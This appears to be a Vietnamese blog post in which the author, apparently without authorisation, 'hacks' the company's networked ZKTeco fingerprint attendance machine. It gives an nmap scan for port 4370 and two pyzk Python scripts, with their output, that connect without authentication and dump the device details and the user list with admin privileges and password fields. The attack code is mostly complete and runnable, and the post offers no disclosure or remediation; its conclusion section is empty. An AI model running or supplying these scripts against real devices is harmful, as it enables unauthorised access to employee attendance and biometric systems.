Mình đã hack máy chấm công của công ty như thế nào?

evil-tom

Mới đây chiếc máy chấm công của công ty mình được kết nối mạng để tích hợp với hệ thống ERP. Rảnh rỗi không có việc gì làm nên mình lôi nó ra để pentest. Trong bài này mình sẽ trình bày quá trình mình truy cập vào máy chấm công của công ty. ?

Chuẩn bị

Công ty dùng máy chấm công vân tay của ZKTeco. Qua tìm hiểu từ chị Google, mình biết được máy có thể kết nối tới ở port mặc định là 4370.

Sử dụng nmap để scan trong mạng, mình phát hiện ra có 1 địa chỉ IP có port 4370 được mở.

$ nmap 172.16.1.0/24 -p 4370

Nmap scan report for 172.16.1.201
Host is up (0.0011s latency).

PORT     STATE SERVICE
4370/tcp open  elpro_tunnel

Tấn công

Sử dụng thư viện pyzk, mình thử kết nối vào máy chấm công.

from zk import ZK

conn = None

zk = ZK('172.16.1.201', port=4370, ommit_ping=True)

try:
    conn = zk.connect()
    conn.disable_device()
    print(conn.get_platform())
    print(conn.get_device_name())
except Exception as e:
    print("Process terminate : {}".format(e))
finally:
    if conn:
        conn.enable_device()
        conn.disconnect()
$ python test.py 
JZ4725_TFT
K28

Với kết quả như trên tức là mình đã kết nối thành công vào máy chấm công, lấy được thông tin về platform và tên thiết bị. Và điều đặc biệt ở đây là mình không cần bất cứ xác thực nào để truy cập.

minion it's time to party gif

Thử xem các user trong máy.

conn = None

zk = ZK('172.16.1.201', port=4370, ommit_ping=True)

try:
    conn = zk.connect()
    conn.disable_device()
    users = conn.get_users()
    for user in users:
        privilege = 'User'
        if user.privilege == const.USER_ADMIN:
            privilege = 'Admin'
        print('+ UID #{}'.format(user.uid))
        print('  Name       : {}'.format(user.name))
        print('  Privilege  : {}'.format(privilege))
        print('  Password   : {}'.format(user.password))
        print('  Group ID   : {}'.format(user.group_id))
        print('  User  ID   : {}'.format(user.user_id))
except Exception as e:
    print("Process terminate : {}".format(e))
finally:
    if conn:
        conn.enable_device()
        conn.disconnect()

Kết quả:

+ UID #1
  Name       : NN-1
  Privilege  : Admin
  Password   : 
  Group ID   : 
  User  ID   : 1
+ UID #2
  Name       : NN-2
  Privilege  : Admin
  Password   : 
  Group ID   : 
  User  ID   : 2
+ UID #3
  Name       : NN-16
  Privilege  : User
  Password   : 
  Group ID   : 
  User  ID   : 16
+ UID #4
  Name       : NN-20
  Privilege  : User
  Password   : 
  Group ID   : 
  User  ID   : 20
...

Kết luận

#hacking